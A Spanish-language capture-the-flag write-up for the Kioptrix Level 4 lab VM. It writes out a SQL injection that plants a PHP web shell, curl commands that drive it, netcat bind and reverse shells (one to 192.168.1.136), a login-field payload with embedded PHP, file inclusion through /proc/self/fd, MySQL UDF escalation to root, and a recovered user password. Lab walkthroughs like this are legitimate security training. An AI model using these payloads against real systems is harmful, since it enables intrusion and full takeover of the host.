Kioptrix level 4

Con burp site capturamos la comunicación y la pasamos al intruder para ver cuantas columnas tiene el query y después a repeater para colocar una shell en el directorio /var/www con into outfile'/var/www/shell.php' que es el raiz de la aplicación.(Abajo hay otra alternativa para meter una shell sin sqlinjection)
La shell será la tipica <? system($_GET['cmd']);?>
Para saber si se ha creado el archivo (shell), probar de nuevo y nos indicará que ya existe (already exists), o bien con load_file("/path/archivo"), para leer la shell y ver que está creada en el sitio. Ahora ya desde una consola atacante hacemos:

┌─([02:10]sierra21@sierra21)-(~)
└──┤▶
curl "ipvictima/shell.php?cmd=ls"

y comprobamos que funciona, a partir de ahí miramos todo lo que nos interese, iptable.rules, /etc/passwd, etc..
Pero para codificar la urlencode lo hacemos de la siguiente manera usando php

┌─([02:11]sierra21@sierra21)-(~)
└──┤▶
curl "ipvictima/nombreshell.php?cmd=$(php -r "echo urlencode('whereis nc');")"

Y vemos que está pero con el nombre "nc.traditional", por lo que ahora vamos a crear una shell para usar desde consola así:

┌─([02:11]sierra21@sierra21)-(~)
└──┤▶
curl "ipvictima/nombreshell.php?cmd=$(php -r "echo urlencode('nc.traditional -lp 1111 -e /bin/bash');")"

Y desde una consola atacante hacemos:

sierra@sierra:~# nc ipvictima 1111

Ya tenemos una shell algo mas cómoda, ahora vamos a mejorarla:

python -c 'import pty; pty.spawn("/bin/bash")'

y ahora nos conectamos a msyql con:

www-data@Kiotripx4:/var/www$ mysql -uroot

Como ya sabemos que no existe la función sys_eval ni sys_exec, creamos una de ellas para conseguir root

mysql> use members

y después creamos la función sys_eval

mysql> CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

Una vez creada, vamos a lanzar nc.traditional para ponerlo a la escucha con id de root

mysql> select sys_eval("nc.traditional -lp 1112 -e /bin/bash");

y desde otra terminal atacante hacemos:

sierra@sierra:~# nc ipvictima 1112

y ahora ya tenemos terminal de root, comprobamos haciendo "id" o bien "whoami" :-)
podemos mejorarla con python igualmente, pero ya está conseguido el objetivo

Antes de dar todos estos pasos, se examina también con sqlmap, para saber que el --curren-user es root y que tambien tiene el --is-dba en true para escribir archivos

Alternativa para colocar la shell sin tanta SQLi

En el cajetín para logearse, meter en el username admin, y en el password lo siguiente: ' or 1=1 -- - <?php system($_GET[cmd]);?>
Y averiguamos cual es la cookie (supongamos PHPSESSID=15aac22897972e874b822ab5e0a714ff ) en esa comunicación, pues en ella va la pequeña shell, y ahora solo queda ejecutarla desde una terminal atacante, por ejemplo así:

┌─([03:45]sierra21@sierra21)-(~)
└──┤▶
curl --cookie "PHPSESSID=15aac22897972e874b822ab5e0a714ff" "http://192.168.1.132/member.php?username=/proc/self/fd/9%00&cmd=$(php -r "echo urlencode('ls -la');")"

O bien de esta otra manera

┌─([03:46]sierra21@sierra21)-(~)
└──┤▶
curl --cookie "PHPSESSID=15aac22897972e874b822ab5e0a714ff" "http://192.168.1.132/member.php?username=/var/lib/php5/sess_15aac22897972e874b822ab5e0a714ff%00&cmd=$(php -r "echo urlencode('ls -la');")"

Se observa que el número de sessión es el utilizado en esta ocasión
Se puede volver a hacer la shell reverse con id de root de la siguiente manera:

┌─([03:50]sierra21@sierra21)-(~)
└──┤▶
curl --cookie "PHPSESSID=15aac22897972e874b822ab5e0a714ff" "http://192.168.1.132/member.php?username=/proc/self/fd/9%00&cmd=$(php -r "echo urlencode('mysql -uroot -e \"select sys_eval(\'nc.traditional 192.168.1.136 6969 -e /bin/bash\')\"');")"

Poniendo antes a escuchar a la consola atacante en el puerto 6969 y siempre que hayamos dado los primeros pasos para crear la función de mysql :)

Tambien se puede usar el "usermod" para poner a john en el grupo admin:

┌─([03:54]sierra21@sierra21)-(~)
└──┤▶
curl --cookie "PHPSESSID=15aac22897972e874b822ab5e0a714ff" "http://192.168.1.132/member.php?username=/proc/self/fd/9%00&cmd=$(php -r "echo urlencode('mysql -uroot -e \"select sys_eval(\'usermod -a -G admin john\')\"');")"

Y ahora conectandose como john hacer un "sudo su" para ser root. De la base de datos ya se habrá sacado la contraseña de john, que una vez aclarada es "MyNameIsJohn"